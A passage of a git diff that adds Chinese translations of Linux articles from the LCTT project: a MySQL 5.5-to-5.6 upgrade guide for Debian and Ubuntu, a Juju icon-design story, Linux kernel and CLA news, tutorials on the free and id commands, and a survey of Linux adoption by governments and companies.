上升级 MySQL +================================================================================ +系统管理员的日常工作之一就是升级服务,为服务打上补丁包或升级一些花哨的功能。2013年初,最新的 MySQL 5.6发布,目标是提供[更好的性能和扩展能力][1]。如果你对此有点兴趣,倒是可以看看我写的这篇 **如何在 Debian 和 Ubuntu 上升级 MySQL**。 + +在这篇教程中,我会假设你已经[通过 apt-get 安装了 MySQL][2]。写这篇文章的时候,大部分 Linux 发行版上部署的都是 MySQL 5.5。这里我将向你们介绍如何从 MySQL 5.5升级到5.6。 + +###步骤1:备份 MySQL 配置文件。 + + $ sudo mkdir /backup + $ sudo tar cvfvz /backup/mysql_conf.tgz /etc/mysql + +###步骤2:把数据库导出到一个 .sql 文件,并且把数据存放路径下面的数据也备份起来。 + + $ sudo sh -c 'mysqldump -u root -p -A --events > /backup/backup_db.sql + $ sudo tar cvfvz /backup/mysql_data.tgz /var/lib/mysql + +注意:如果你为你的在线 MySQL 系统提供了持续备份,强烈建议你在执行上面步骤时使用单事务选项,或显式使用锁(以保证数据一致性 —— 译注),详见[这个教程][3]。 + +###步骤3:停止 MySQL 服务 + + $ sudo service mysql stop + +###步骤4:卸载 MySQL 软件包 + + $ sudo apt-get remove mysql-server mysql-client mysql-common + $ sudo apt-get autoremove + $ sudo apt-get autoclean + +使用 apt-get 卸载时不要用 purge 选项,这会删除 MySQL 配置文件和其它一些以后要用到的数据。 + +###步骤5: 安装 MySQL 依赖包(内核异步 IO 访问库),MySQL 5.5以及之后的版本都依赖它。 + + $ sudo apt-get install libaio1 + +###步骤6:从官网下载 Debian 版的 MySQL 软件包 + +32位系统: + + $ wget http://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.15-debian6.0-i686.deb + +64位系统: + + $ wget http://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.15-debian6.0-x86_64.deb + +###步骤7:安装 MySQL 软件包 + + $ sudo dpkg -i mysql-5.6.15-debian6.0-*.deb + +这个软件包会被安装在 /opt/mysql 目录下面。 + +###步骤8:将 MySQL 命令所在的路径添加到系统环境变量 PATH 内。 + +Debian 上: + + $ sudo sh -c 'echo "PATH=$PATH:/opt/mysql/server-5.6/bin" >> /etc/profile' + $ source /etc/profile + +Ubuntu 或 Linux Mint 上: + + $ sudo sh -c 'echo "PATH=${PATH}:/opt/mysql/server-5.6/bin" >> /etc/environment' + $ source /etc/environment + +###步骤9:进入 MySQL 配置文件,修改下面两行配置。 + + $ sudo vi /etc/mysql/my.cnf + +> basedir = /opt/mysql/server-5.6 + +> lc-messages-dir = /opt/mysql/server-5.6/share + +###步骤10:设置启动脚本 + +复制 MySQL 启动脚本到 /etc/init.d 目录下,并且将脚本设置为开机启动,这样一来 MySQL 就能在系统启动的时候自动启动了。 + + $ sudo cp /opt/mysql/server-5.6/support-files/mysql.server /etc/init.d/mysql + $ sudo update-rc.d mysql defaults + +###步骤11:(仅限 Ubuntu) 编辑AppArmor配置 + +MySQL 的上个版本安装时会为 AppArmor 服务创建一个配置文件,这个文件在 MySQL 卸载后会保留在系统中,但是它与现在安装好的 MySQL 版本不兼容。你需要重新编辑下这个配置文件,然后 MySQL 服务才能正常启动。 + +首先,建一个软链接。 + + $ sudo ln -s /opt/mysql/server-5.6/bin/mysqld /usr/sbin/mysqld + +然后编辑 MySQL AppArmor 配置文件。 + + $ sudo vi /etc/apparmor.d/usr.sbin.mysqld + +> /opt/mysql/server-5.6/lib/plugin/ r, + +> /opt/mysql/server-5.6/lib/plugin/*.so* mr, + +> /opt/mysql/server-5.6/share/** r, + +最后重启 AppArmor 服务。 + + $ sudo service apparmor restart + +###步骤12:(还是仅限 Ubuntu)删除上个 MySQL 版本留下的自启动配置文件。 + +这个版本的 MySQL 使用 SysVinit (就是 /etc/init.d/mysql)来代替。 + + $ sudo rm /etc/init/mysql.conf + +###步骤13:启动 MySQL 服务。 + + $ sudo service mysql start + +###步骤14:恢复 MySQL 数据库。 + + $ sudo mysql -u root -p < /backup/backup_db.sql + +###步骤15:最后,升级 MySQL 系统表。 + + $ sudo /opt/mysql/server-5.6/bin/mysql_upgrade -v -u root -p + +### 解决 MySQL 升级过程中产生的问题 ### + +如果 Ubuntu 下的 MySQL 服务启动时出现如下错误,就是由于旧版 MySQL AppArmor 配置文件禁止其运行而引起。你需要参考步骤11来更新 AppArmor 的配置文件。 + + Dec 20 19:57:48 ubuntu kernel: [ 5856.960592] type=1400 audit(1387598268.807:39): apparmor="STATUS" operation="profile_replace" name="/usr/sbin/mysqld" pid=25216 comm="apparmor_parser" + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/upgrade-mysql-server-debian-ubuntu.html + +译者:[bazz2](https://github.com/bazz2) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://dev.mysql.com/tech-resources/articles/whats-new-in-mysql-5.6.html +[2]:http://xmodulo.com/2013/06/how-to-install-mysql-server-and-client-on-linux.html +[3]:http://xmodulo.com/2012/10/how-to-backup-mysql-server.html diff --git a/published/201401/Juju ice-cream icon design.md b/published/201401/Juju ice-cream icon design.md new file mode 100644 index 0000000000..4734226d01 --- /dev/null +++ b/published/201401/Juju ice-cream icon design.md @@ -0,0 +1,70 @@ +Juju 冰淇淋图标设计 +================================================================================ +有哪个人会不喜欢冰淇淋?作为设计团队我们当然喜欢!在过去几周的时间里我们一直在为香港举办的开源架构会议准备一场特别的 Juju 演示,并且我们已经为之设计了一些非常“美味的”图标。我们认为向大家展示这些图标的创作过程是很美妙的,以下是这个设计流程的一些简介。 + +### 摘要 ### + +我们想要用一些稍微有点特别的图标去替换常规的 Juju 图标,向人们阐述独立访问 Ubuntu 时 Juju 可以做些什么事情。我们决定用带有点缀物和酱调味的冰淇淋这个想法,你可以用同样的方法打造在 Juju 上打造的服务。 + + +这场演示最棒的环节是人们将在现实中真实地得到他们在 Juju 中'打造'的冰淇淋! + +![](http://design.canonical.com/wp-content/uploads/1-juju.jpg) + +*使用默认图标的 Juju 界面* + +### 寻找好的想法 ### + +我需要做的第一件事情是找到一个好的想法以图标的形式表现带有点缀物的冰淇淋。点缀物将被设计的非常精巧,以致它们将非常小并且很难制作成较小的尺寸。 + +最初我以缩略图和设计思想的方式使用一种扁平外观的图标。这种方式对冰激凌来说很有用,但是对点缀物作用不大 —— 不久之后我发现它们变成半分离的现代主义,很难辨认。 + +![](http://design.canonical.com/wp-content/uploads/1-juju-icecream-sketches-flat.jpg) + +![](http://design.canonical.com/wp-content/uploads/3-juju-icecream-flat-icons.jpg) + +*扁平简洁化外观的初始缩略图与设计理念* + +在第二阶段,我给图标添加了透视效果;图标保持一样的透视连贯性是很重要的。 + +![](http://design.canonical.com/wp-content/uploads/4-juju-icecream-sketches-perspective.jpg) + +*另一套添加透视效果的缩略图* + +酱调味瓶的外观也有些误差,需要一定的试验。最初的设计看起来非常像是瓶装番茄酱,于是我们决定尝试另一种不同的风格。 + +![](http://design.canonical.com/wp-content/uploads/5-juju-icecream-sauce-shape.jpg) + +*调味酱外观变化前后* + +至于背景,我选择用闪亮的颜色来搭配冰淇淋图标,以此与冰淇淋单色调形成对比,点缀物使用稍淡颜色,这全部整合起来就非常多彩艳丽了。 + +为图标添加的众多细节对于我们需要展示的以及图标本身的辨认来说已经足够了。我同样添加了更大尺寸的点缀物,以使它们变得更加容易辨认。 + +![](http://design.canonical.com/wp-content/uploads/6-juju-oreo-topping.jpg) + +*带有破碎奥利奥的点缀物图标* + +### 编制细节 ### + +破碎的奥利奥由单一的饼干而来,我将之分成 9 个不同的部分然后散布在不同层 —— 我猜在现实生活中也是这样的。 + +![](http://design.canonical.com/wp-content/uploads/7-juju-oreo-bits.jpg) + +*创立图标所使用的 9 个分布层* + +Inkscape 中的克隆工具得到了用武之地:在不同分布层上重复同样的小尺寸使得最后的 SVG 文件更加轻巧,也使 Inkscape 运行得更快。 + +从最初设计到最后图标完成整个过程花费了 4 天的时间,差点超过预订的限期,但这确实是一个应该继续下去的有趣项目。 + +![](http://design.canonical.com/wp-content/uploads/8-final-juju-icecream-icon-set.jpg) + +*最终图标设计* + +-------------------------------------------------------------------------------- + +via: http://design.canonical.com/2013/11/juju-ice-cream-icon-design/ + +译者:[SteveArcher](https://github.com/SteveArcher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/Linus Torvalds Releases Last Linux Kernel 3.13 RC for 2013.md b/published/201401/Linus Torvalds Releases Last Linux Kernel 3.13 RC for 2013.md new file mode 100644 index 0000000000..157b6bf725 --- /dev/null +++ b/published/201401/Linus Torvalds Releases Last Linux Kernel 3.13 RC for 2013.md @@ -0,0 +1,45 @@ +2013年的最后一个Linux内核3.13RC版本 +================================================================================ +**在2013年结束前,Linux Torvalds宣布Linux内核3.13分支中的第六个候选版本已发布,即时可用。** + +Linux内核3.13 RC6仅包含了很小数量的一些提交,使得此次候选版本成为了迄今体积最小的一个,至少在这一个开发周期中如此。 + +Linus Torvalds在官方发布中说道:“正如我们之前期望的那样,整个一周假期都没有什么大的bug出现。因此,我们这次只有一些小的随机更新:驱动方面(例如无限宽带、GPU、CPUfreg、libata、块设备等),一些小的文件系统修复(ext4/jdb2),以及一些ARM SoC方面的更新。x86、perCPU 和 cgroup 方面的更新很少。甚至没什么值得注意的,只有81个很平常的小提交。” + +大神平常是非常健谈的,但是对于年底的这次小发布却如此惜字如金,估计是为了避免更多的非议,打算过个好年。 + +Linus Torvalds还在[12月18号庆祝了自己的生日][1],但并没有大操大办。 + +###Linux内核 3.13 RC6 的亮点### + +- 修正了音频pins的数目(drm/radeon/dce6) +- 在Cayman上禁用了SS(drm/radeon/dpm) +- 检查了扬声器分配和SAD代码中的0计数(drm/radeon) +- 修复了拔掉块设备时的内存泄露问题 +- 修复了SDHI资源的大小 +- 修复了执行缓存中分配内存失败后仍然释放引用的问题(drm/i9150) +- 修复了 reset_status 中对 batch_obj 的错误引用释放 +- Sandybridge+ 启用了正确的 GMCH_CTRL 注册 +- 对废弃的消息 JBD->JBD2 进行了重命名 +- 增加对 ValleyView Soc 的支持 +- 增加对 PWM 背光电源的支持 + +完整的修改、改进以及修复列表请参看官方[修改日志][2]。 + +下载Linux内核3.13 RC6: + +- [Linux kernel 3.13 Release Candidate 6 tar.xz][3][源码] [73.60 MB] + +*请注意这是一个测试版本,仅用于测试目的,请不要用在任何生产环境中。* + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linus-Torvalds-Releases-Last-Linux-Kernel-3-13-RC-for-2013-412622.shtml + +译者:[Mr小眼儿](https://github.com/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Happy-Birthday-Linus-Torvalds-412474.shtml +[2]:https://lkml.org/lkml/2013/12/29/95 +[3]:https://www.kernel.org/pub/linux/kernel/v3.x/testing/linux-3.13-rc6.tar.xz diff --git a/published/201401/Linus Torvalds Says All Contributor License Agreements Are Broken.md b/published/201401/Linus Torvalds Says All Contributor License Agreements Are Broken.md new file mode 100644 index 0000000000..ab40a3faae --- /dev/null +++ b/published/201401/Linus Torvalds Says All Contributor License Agreements Are Broken.md @@ -0,0 +1,27 @@ +Linus Torvalds坦言所有CLA都不够完美,Canonical有话说 +================================================================================ +**一场关于 Canonical 公司的贡献者许可协议的争论已经持续了好几天,现在连 Linus Torvalds 也加入这场论战了,呃,这次他比较心平气和了一点。** + +![](http://i1-news.softpedia-static.com/images/news2/Linus-Torvalds-Says-All-Contributor-License-Agreements-Are-Broken-418978-2.jpg) + +贡献者许可协议(CLA)允许你的软件贡献者(比如 Canonical,Apache 以及其他贡献者)在这个应用需要保护的方面提供法律保护,比如版权。 + +到了 Canonical 宣布使用 CLA,事情就变得有点耐人寻味了。Canonical 是一家商业公司,为了生存下去,它得赚钱,并且它的目标绝不仅仅是发行 Ubuntu 操作系统,它需要盈利。于是乎,Canonical 公司利用 CLA 将一些软件通过私有许可发行出来。(2011年7月份,Canonical 开始让贡献者签署一份 CLA 文件,文件表示贡献者可以保留自己的版权,同时要授权 Canonical 公司可以改变贡献者的许可协议 —— 译者注。) + +> “公平地说,人们只是讨厌 Canonical。那些 FSF 和 Apache 基金会的 CLA 也是这副德行。他们只是没有因为修改许可协议而受到非议,但是这些版权转换工作最终将会消灭整个社区。” + +> “基本上,在 CLA 下你不可能获得像 Linux 内核一样那么多的随机驱动补丁。因此不管多少人想试水 CLA,不管改不改这个协议,都一样,所有 CLA 都有本质上的缺陷,”Linus Torvals 在 Google+ 上面发帖说道。 + +Ubuntu 社区经理 Jono Bacon 解释为什么 Canonical 的 CLA 会走这条道,以及它不能给那些想为项目作贡献的人设置障碍的原因。 + +> “这些都是社区贡献的问题。社区一直存在很多问题:开发语言的选择、VCS、管理方式、社区讨论的口音、如何决定方案、如何回顾分支、bug 管理、CI 工作流程以及其他无数问题。CLA 仅仅是其中一个。有人欢喜,有人讨厌,萝卜青菜各有所爱罢了。” + +> “我不认为 Canonical 在 CLA 方面表现得不够诚意,也不关心为什么它会认为它的 CLA 方案很有必要。Canonical 在人们印象中是完美无瑕的吗?不见得。那它危险吗?它虚伪吗?当然不。”Jono Bacon 说道。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linus-Torvalds-Says-All-Contributor-License-Agreements-Are-Broken-418978.shtml + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/Linux free Command - Display Free and used Memory in the System.md b/published/201401/Linux free Command - Display Free and used Memory in the System.md new file mode 100644 index 0000000000..ff55fadd02 --- /dev/null +++ b/published/201401/Linux free Command - Display Free and used Memory in the System.md @@ -0,0 +1,100 @@ +Linux free 命令 - 显示系统中空闲和已使用的内存 +================================================================================ +系统管理员必须维护他们服务器的健康运行。其中一个重要的部分就是内存。当服务器内存使用率过高时,它会降低服务器的性能。Linux有一个称为 **free** 的工具,来监控内存使用率。 + +### free 命令是什么 ### + +**free** 命令是一个显示系统中空闲和已用内存大小的工具。free 命令的输出和 top 命令相似。大多数Linux发行版已经含有 free 命令。 + +### 如何运行 free ### + +想要运行,只需在控制台输入**free** 即可。不带选项运行会显示一个以KB为单位的默认输出。 + + $ free + +![free默认视图](http://linoxide.com/wp-content/uploads/2013/12/free_default.png) + +从上面的截图我们看到: + +#### 内存 (以KB计) #### + +- Total(全部) : 1026740 +- Used(已用) : 843396 +- Free(可用) : 183344 +- Shared(共享) : 0 +- Buffers(块设备缓存区) : 52704 +- Cached(文件缓存) : 376384 + +译注:关于Buffers和Cached的区别,来自 http://www.taobaotesting.com/blogs/qa?bid=2265 的一段解释如下: + +> buffers是指用来给块设备做的缓冲大小,他只记录文件系统的metadata以及 tracking in-flight pages. + +> cached是用来给文件做缓冲。 + +> 那就是说:buffers是用来存储,目录里面有什么内容,权限等等。而cached直接用来记忆我们打开的文件 + +#### Swap (以KB计) #### + +- Total(全部) : 1045500 +- Used(已用) : 3376 +- Free(可用) : 1042124 + +当你看见 buffer/cache 的空闲空间低或者 swap 的空闲空间低,说明内存需要升级了。这意味这内存利用率很高。请注意 **shared(共享)内存列应该被忽略** ,因为它已经被废弃了。 + +### 以其它单元显示内存信息 ### + +如我们先前提到的,默认 free 会以 KB 为单位显示信息。free 同样提供给我们 **b (B), -k (KB), -m (MB), -g (GB) and –tera (TB)**这些单位。要显示我们想要的单位,只要选择一个并在 free 后面跟上。下面一个是以 MB 为单位的输出样例。 + + $ free -m + +![free命令以MB为单位](http://linoxide.com/wp-content/uploads/2013/12/free_m.png) + +这个技巧同样适用于**-b, -k, -g** 以及 **–tera** 选项。 + +### 以适于人类可读方式显示内存信息 ### + +free 同样提供了**-h**选项,这意味着适于人类可读(译注:系统上可能并不存在-h选项,已被-m取代)。那么这与其它的选项有什么不同呢,如**-m**(MB)选项? 可见的最大不同是**-h**选项会在数字后面加上适于人类可读的单位。让我们看一个例子。 + + $ free -h + +![人类可读的free](http://linoxide.com/wp-content/uploads/2013/12/free_h.png) + +如我们一起看到的,在1,0数字后这里是**G(GB)**字母。当数字并没有达到GB时,free足够聪明来知道并在每个数字后面跟上合适的单位。后面的**M** - 数字929告诉我们它有929MB(译注: 原文为929 number tell us its 969 Megabytes,这里应该为输入错误)。 + +### 间隔显示 free ### + +作为一个状态检查工具,最好的统计内存利用率的方法是使用延迟间隔。这么做的话,我们可以使用**-s**选项后面跟上我们想要间隔的N秒数。我们可以在后面合并几个选项来使输出满足我们的需求。假如我们想要每3秒统计一次内存利用率并且适于人类可读,那么就像这样做: + + $ free -hs 3 + +![间隔3s显示free](http://linoxide.com/wp-content/uploads/2013/12/free_hs3.png) + +### 显示高低内存利用率 ### + +如果我们想要知道高低内存统计,我们可以使用-l选项。下面是一个例子。 + + $ free -l + +![Free 的 低-高 统计](http://linoxide.com/wp-content/uploads/2013/12/free_l.png) + +### 显示 Linux 全部内存 ### + +如果我们需要每列的总计信息,我们可以在 free 命令后面跟上 **-t** 选项。这会在字底部额外加入一行显示。 + + $ free -t + +![free命令带总计内存](http://linoxide.com/wp-content/uploads/2013/12/free_t.png) + +### 总结 ### + +除了[vmstat][1]以外,free 命令也是一个用于统计内存利用率的简单统计工具。用这个你可以快速查看你的 Linux 内存信息。free 命令使用 **/proc/meminfo** 作为基准来显示内存利用率信息。如往常一样,你可以在控制台下输入 **man free** 来获取更多关于 free 的信息。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-free-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linoxide.com/linux-command/linux-vmstat-command-tool-report-virtual-memory-statistics/ diff --git a/published/201401/Linux id Command - Print user ID and group ID information.md b/published/201401/Linux id Command - Print user ID and group ID information.md new file mode 100644 index 0000000000..f541519dfb --- /dev/null +++ b/published/201401/Linux id Command - Print user ID and group ID information.md @@ -0,0 +1,105 @@ +Linux id 命令 - 显示用户id和组id信息 +================================================================================ +要登入一台计算机,我们需要一个用户名。用户名是一个可以被计算机识别的身份。基于此,计算机会对使用这个用户名的登陆的人应用一系列的规则。在Linux系统下,我们可以使用 **id** 命令。 + +### 什么是 id 命令 ### + +**id** 命令可以显示真实有效的用户 ID(UID) 和组 ID(GID)。UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个UID。 + +### 如何使用 id 命令 ### + +**id** 命令已经默认预装在大多数 Linux 系统中。要使用它,只需要在你的控制台输入id。不带选项输入 id 会显示如下。结果会使用活跃用户。 + + $ id + +![id默认输出](http://linoxide.com/wp-content/uploads/2013/12/id_default.png) + +#### 如何读取输出: #### + +- 用户 **pungki** 的 **UID** 号码= **1000**, **GID** 号码= **1000** +- 用户 **pungki ** 是下面的组成员 : + + **pungki** 的 GID 号码= **1000** + **adm** 的 GID 号码= **4** + **cdrom** 的 GID 号码= **24** + **sudo** 的 GID 号码= **27** + **dip** 的 GID 号码= **30** + **plugdev** 的 GID 号码= **46** + **lpadmin** 的 GID 号码= **108** + **sambashare** 的 GID 号码= **124** + +### 带选项使用id ### + +id 命令可以使用一些选项。下面有一些在日常使用中有用的选项。 + +#### 打印用户名、UID 和该用户所属的所有组 #### + +要这么做,我们可以使用 **-a** 选项 + + $ id -a + +![-a 选项](http://linoxide.com/wp-content/uploads/2013/12/id_a.png) + +#### 输出所有不同的组ID (有效的,真实的和补充的) #### + +我们可以使用 **-G** 选项来实现。 + + $ id -G + +![-G 选项](http://linoxide.com/wp-content/uploads/2013/12/id_G.png) + +结果只会显示 GID 号。你可以和 **/etc/group** 文件比较。下面是 **/etc/group** 文件的示例内容: + + root:x:0: + daemon:x:1: + bin:x:2: + sys:x:3: + adm:x:4:pungki + fax:x:21: + voice:x:22: + cdrom:x:24:pungki + floppy:x:25: + tape:x:26: + sudo:x:27:pungki + audio:x:29:pulse + dip:x:30:pungki + www-data:x:33: + backup:x:34: + operator:x:37: + sasl:x:45: + plugdev:x:46:pungki + ssl-cert:x:107: + lpadmin:x:108:pungki + saned:x:123: + sambashare:x:124:pungki + winbindd_priv:x:125: + +#### 只输出有效的组ID #### + +通过使用 **-g** 选项来只输出有效组ID。 + + $ id -g + +![-g 选项](http://linoxide.com/wp-content/uploads/2013/12/id_g1.png) + +#### 输出特定用户信息 #### + +我们可以输出特定的用户信息相关的 UID 和 GID。只需要在 id 命令后跟上用户名。 + + $ id leni + +![leni 用户](http://linoxide.com/wp-content/uploads/2013/12/id_leni.png) + +上面的命令会打印用户 **leni** 的 UID 和 GID。 + +### 总结 ### + +当我们想知道某个用户的 UID 和 GID 时 id 命令是非常有用的。一些程序可能需要 UID/GID 来运行。id 使我们更加容易地找出用户的 UID 以 GID 而不必在 /etc/group 文件中搜寻。如往常一样,你可以在控制台输入 **man id** 进入 id 的手册页来获取更多的详情。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-id-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/Linux is Everywhere. We show you exactly where.md b/published/201401/Linux is Everywhere. We show you exactly where.md new file mode 100644 index 0000000000..dd0e58b800 --- /dev/null +++ b/published/201401/Linux is Everywhere. We show you exactly where.md @@ -0,0 +1,172 @@ +Linux无处不在!让我来告诉你它到底在哪! +================================================================================ + +![](http://www.linuxfederation.com/wp-content/uploads/2013/12/open-source-world.jpg) + +“[Linux][1]无处不在。大到空间站,小到微波炉,都能看到Linux的强大威力。”可能你听过很多前面这样的描述,也许你会想“真的假的?是夸张?还是确实如此?”我可以负责任的告诉你,的确如此!那些世界上最大的公司都在使用Linux。也许听到那些公司的名字你都不会相信,那么,准备好环游世界吧!我会向你展示Linux到底在哪,人们又是如何使用Linux的~ + +###政府### + +很明显,大多数政府使用Linux的主要原因有两个,一是便宜,二是灵活。这两者其他操作系统都无法做到。下面列出了世界范围内使用Linux的政府名单: + +- **美国** - 从2001年7月起,白宫开始向基于Linux的[红帽][2]操作系统和[Apache][3]HTTP服务器迁移,迁移工作于2009年2月结束。2009年10月,白宫选择[Drupal][4]作为其主要的服务器内容管理系统。 + +美国国防部使用Linux - “美国陆军是安装红帽Linux的最庞大个体,而美国海军核潜艇舰队也运行着Linux”。 + +2006年,美国联邦航空管理局发表声明,仅用了预定时间的三分之一就完成了向红帽企业版Linux的迁移,此举共省下了1500万美元。 + +美国国家核安全管理局运行着世界上速度排名第十的超级计算机 —— IBM Roadrunner,它使用的就是红帽企业版Linux,它的操作系统为[Fedora][5]。 + +美国佛罗里达Largo市政府使用Linux,“在全市范围内广泛节省了大量开支”,从而赢得了国际赞誉。 + +2012年6月,美国海军与雷神公司(Raytheon)签署了一项将近2800万美元的合同,后者将为其Northup-Grumman MQ8B型火力侦察无人机的垂直起降舰队安装Linux地面站控制软件。合同中包含了马里兰州克森特河海军航空站为Linux系统的准备工作已经先行支付的 $5,175,075美元。 + +- **德国** - 2003年,慕尼黑市政府决定将其14000台桌面系统迁移到[Debian][6]的一个定制版 —— LiMux。到了2008年11月,尽管超过80%的工作岗位已经在使用诸如OpenOffice、Firefox和Thunderbird这样的自由软件,但是由于一直专注于在较小的拓展范围内巩固政府员工对Linux的价值认知,因此,五年时间桌面系统的迁移量仅仅只完成了20%。但是到了2011年底,超过9000个桌面系统已经在运行Linux,稍后没多久,慕尼黑政府宣布Linux的迁移工作取得了巨大成功,总共为全市节省了超过1100万欧元(约合1400万美元)的开支。 + +德国联邦就业办公室已经将13000台公共工作站从Windows NT迁移到了[OpenSuse][7]。 + +- **法国** - 法国议会已经转为使用Ubuntu桌面系统,而法国农业部也已经在使用Mandriva Linux。 + +2007年,法国的国家警察部队 —— 国家宪兵,由于担心升级到Vista会产生额外的培训开支,于是开始将他们的90000台桌面系统从Windows XP更换为Ubuntu,紧接着还成功的部署了OpenOffice。整个迁移工作应该会在2015年结束。从2004年到2008年,该部门已经在软件许可证方面节省了超过5000万欧元。 + +- **南非** - 南非社会安全局(SASSA)由于预算和基础设施的限制,为50家农业网站部署了多站点Linux桌面系统。 + +- **土耳其** - 2003年,土耳其政府决定创建自己的Linux发行版 —— Pardus。该发行版由UEKAE(电子和密码国防研究所)开发。2005年12月官方发布了第一版Pardus1.0。 + +- **菲律宾** - 2010年,菲律宾开始使用部署在[Ubuntu][8]上的国家投票系统。 + +- **马来西亚** - 2010年7月,马来西亚已经将全国724个行政部门中的703个,转为采用基于Linux操作系统的自由软件。援引其政务司司长的话,“Linux之所以能被大家普遍接受,是因为它质量更好、更可靠、更灵活、也更便宜”。 + +- **中国** - 国有“爱存不存”银行(ICBC,有人也叫工商银行)以它的web服务器和一个新的终端平台为基础,已经在其全部20000个营业网点安装了Linux。 + +这个国家为了其技术独立,仅仅使用Linux作为其龙芯处理器家族的操作系统。 + +- **古巴** - 来自古巴大学信息科学专业的学生们开发了他们自己的Linux发行版——Nova,为的就是替代政府与公民电脑上的微软Windows操作系统,该项目现在已经得到了古巴政府的支持,并成功部署了超过8000台电脑。 + +- **俄罗斯** - 2010年底,弗拉基米尔·普京签署了一项计划,到2012年第二季度,俄联邦政府全部转为使用包括Linux在内的自由软件。 + +- **荷兰** - 荷兰警方的因特网调查研究部门(iRN)只使用2003年以来在因特网上公开源代码的基于开源标准的自由和开源软件。使用Ubuntu的工作站已经超过了2200个。 + +- **西班牙** - 西班牙的安达卢西亚自治区政府在2004年开发出了他们自己的Linux发行版——Guadalinex。 + +- **巴基斯坦** - 巴基斯坦政府于2002年建立了一个技术资源调度部门,组织专业人员交流观点、协调相关活动、教授用户使用替代的自由软件。对于贫穷的国家来说,公共投资的回报很少,Linux自然成为了一个合适的选择。巴基斯坦正在公立学校和大学中使用开源软件,并希望在Linux上运行所有的政府服务。 + +- **印度** - 印度喀拉拉邦政府于2001年发表了关于从国家IT政策层面支持自由软件的官方声明。当年7月,喀拉拉邦首府Trivandrum举办了印度历史上第一届自由软件大会 —— “自由第一!”,大会上Richard Stallman还宣布了印度自由软件基金会的成立。从诸如“IT@学校”等几个重大项目可以看出,从那时起,喀拉拉邦的IT政策已经被自由和开源软件深刻影响,也许这是目前世界范围内专门针对Linux的最新拓展政策了,而这也促成了2009年自由与开源软件国际中心(ICFOSS)的形成。 + +###教育### + +“教育是改变世界的最有力武器” —— 纳尔逊·曼德拉。自由软件应当成为教育系统的一部分,一些国家已经为了将自由软件与自身教育系统整合做出了相当斐然的工作。 + +- **儿童计算机** - OLPC XO-1项目(之前也叫做MIT100美元笔记本电脑项目或儿童计算机项目),是一种运行Linux的廉价笔记本电脑,这种电脑将被分发到数百万个儿童手中,它是“每个孩子一人一本(One Laptop Per Child - OLPC)”项目的一部分,主要在发展中国家推广。 + +- **中国** - 中国政府正打算购买1500万台Linux龙芯电脑作为其支持国内产业计划的一部分。另外江苏省还打算从2009年起,为农村中学15万台使用龙芯处理器的电脑安装Linux。 + +- **意大利** - 2005年9月,意大利城市Bolzano的总共16000名学生,使用上了定制的Linux发行版(FUSS Soledad GNU/Linux)。 + +- **俄罗斯** - 2007年10月,俄罗斯声明它的所有学校都将运行Linux,此举可以避免当前未经授权软件的许可证付费问题。 + +- **瑞士** - 瑞士第二大城市日内瓦学校中的9000台电脑改用Linux和OpenOffice。 + +- **格鲁吉亚** - 2004年,格鲁吉亚开始在所有电脑上和LTSP瘦客户机上运行Linux,主要使用的是[Kubuntu][9]、ubuntu和基于Fedora的精简版发行版。 + +- **菲律宾** - 菲律宾已经部署了13000台Fedora桌面系统,前1万台已经由Advances Solutions公司于2007年部署完毕。另外还有1万台[Edubuntu][10]和Kubuntu正在计划中。 + +- **印度** - 印度的喀拉拉邦政府声明,他们将在2650所公立或半公立高校中,只使用基于Linux平台的自由软件,用于计算机教育。印度的Tamilnadu也计划为当地学生分发1万台装配Linux的笔记本。 + +印度政府为学生提供的预装Linux操作系统的笔记本电脑售价还不到1500卢比(约合35美刀)。 + +- **德国** - 2012年,巴伐利亚学院Keibniz超级计算机中心发布了超级计算机SuperMUC,排名世界第四。它基于x86架构,搭载了155000个处理器,最大运算速度3千万亿次,324T RAM内存。它的操作系统为[SUSE][11] Linux Enterprise Server。 + +德国还宣布,33所大学总共56万名学生都将转为使用Linux。 + +- **委内瑞拉** - 2009年,委内瑞拉教育部发起了一个名为Canaima-educativo的项目,为所有公立学校的学生提供搭载“Canamita”的笔记本电脑,电脑预装了基于Canaima Debian的Linux发行版,另外还安装了开源教育内容。 + +###商业与非营利性领域### + +Linux在商业领域的服务器上有非常广泛的应用,而且已经持续了很长一个时期。另外,Linux还在企业环境中作为雇员的桌面平台广泛使用,商用的解决方案主要包括红帽企业版、SUSE Linux企业版以及Ubuntu。 + +- **亚马逊** - Amazon.com,美国网络零售商,在其“商业帝国的几乎每个角落”都使用了Linux。 + +- **Google** - Google使用了Ubuntu的一个内部版本Goobuntu。 + +- **维基百科** - 维基百科在2008年底将其服务器迁移到了Ubuntu,之前使用的是红帽企业版和Fedora的组合。 + +- **梦工厂** - 梦工厂动画公司自从2001年开始使用Linux,总共使用了超过1000台Linux桌面系统和3000台Linux服务器。 + +- **IBM** - 